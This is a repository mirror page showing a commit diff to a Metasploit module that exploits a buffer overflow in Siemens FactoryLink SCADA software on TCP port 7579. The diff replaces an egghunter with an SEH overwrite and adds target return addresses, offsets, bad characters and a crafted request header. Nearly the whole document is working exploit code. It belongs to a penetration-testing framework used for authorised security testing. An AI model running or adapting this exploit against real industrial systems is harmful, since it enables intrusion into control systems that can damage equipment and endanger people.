infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Using SEH instead of egghunter. Verified again on Win2k3. thx to MC. 

git-svn-id: file:///home/svn/framework3/trunk@13036 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-06-26 19:28:14 +00:00
parent bf20ace73e
commit 1b25cf3c43
1 changed files with 34 additions and 40 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

62
modules/exploits/windows/scada/factorylink_vrn_09.rb
View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking Rank = AverageRanking
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::Seh
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' => 'Author' =>
[ [
'Luigi Auriemma', # Public exploit 'Luigi Auriemma', # Public exploit
'hal' # Metasploit module 'hal', # Metasploit module
'MC', # SEH, badchars, etc
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Version' => '$Revision$', 'Version' => '$Revision$',
@ -42,60 +43,53 @@ class Metasploit3 < Msf::Exploit::Remote
'Privileged' => true, 'Privileged' => true,
'DefaultOptions' => 'DefaultOptions' =>
{ {
'EXITFUNC' => 'process', 'EXITFUNC' => 'seh',
}, },
'Payload' => 'Payload' =>
{ {
'Space' => 885, 'Space' => 550,
'BadChars' => "\x00", 'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500, 'StackAdjustment' => -3500,
}, },
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'padding' => 0 } ], [ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],
[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'padding' => 0 } ], [ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],
[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'padding' => 4 } ], [ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],
], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2011')) 'DisclosureDate' => 'Mar 21 2011'))
register_options([Opt::RPORT(7579)], self.class) register_options([Opt::RPORT(7579)], self.class)
end end
def exploit def exploit
connect
#The use of egghunter seems appropriate due to the small buffer in [ESP+8] header = "\x3f" * 4
hunter = generate_egghunter(payload.encoded, payload_badchars,
{ :checksum => true, :startreg => 'ebp'})
egg = hunter[1]
header = "\x3f\x3f\x3f\x3f"
header << "\xff\x55" header << "\xff\x55"
header << "\x09\x00" header << "\x09\x00" # opcode
header << "\x3f\x3f\xff\xff\x00\x00\x3f\x3f" header << "\x3f\x3f\xff\xff"
header << "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f" header << "\x00\x00\x3f\x3f"
header << "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f" header << "\x01\x00"
header << "\x3f\x3f" header << "\x3f" * 16
header << "\xff\xff\xff\xff" header << "\x01\x00\x01\x00"
header << "\x3f\x3f" header << "\x3f\x3f"
request = header data = rand_text_alpha_upper(65535)
request << rand_text_alpha_upper(100) data[448, payload.encoded.length] = payload.encoded
request << egg data[target['Offset'], 8] = generate_seh_record(target.ret)
request << rand_text_alpha(target['padding']) data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string
request << "\xeb\x06\x90\x90"
request << [target.ret].pack('V')
request << make_nops(24)
request << hunter[0]
request << rand_text_alpha_upper(100000)
print_status("Trying target #{target.name} with #{request.size} bytes") print_status("Trying target #{target.name}...")
sock.put(request)
connect
sock.put(header + data)
handler handler
select(nil,nil,nil,1)
disconnect disconnect
end end
end end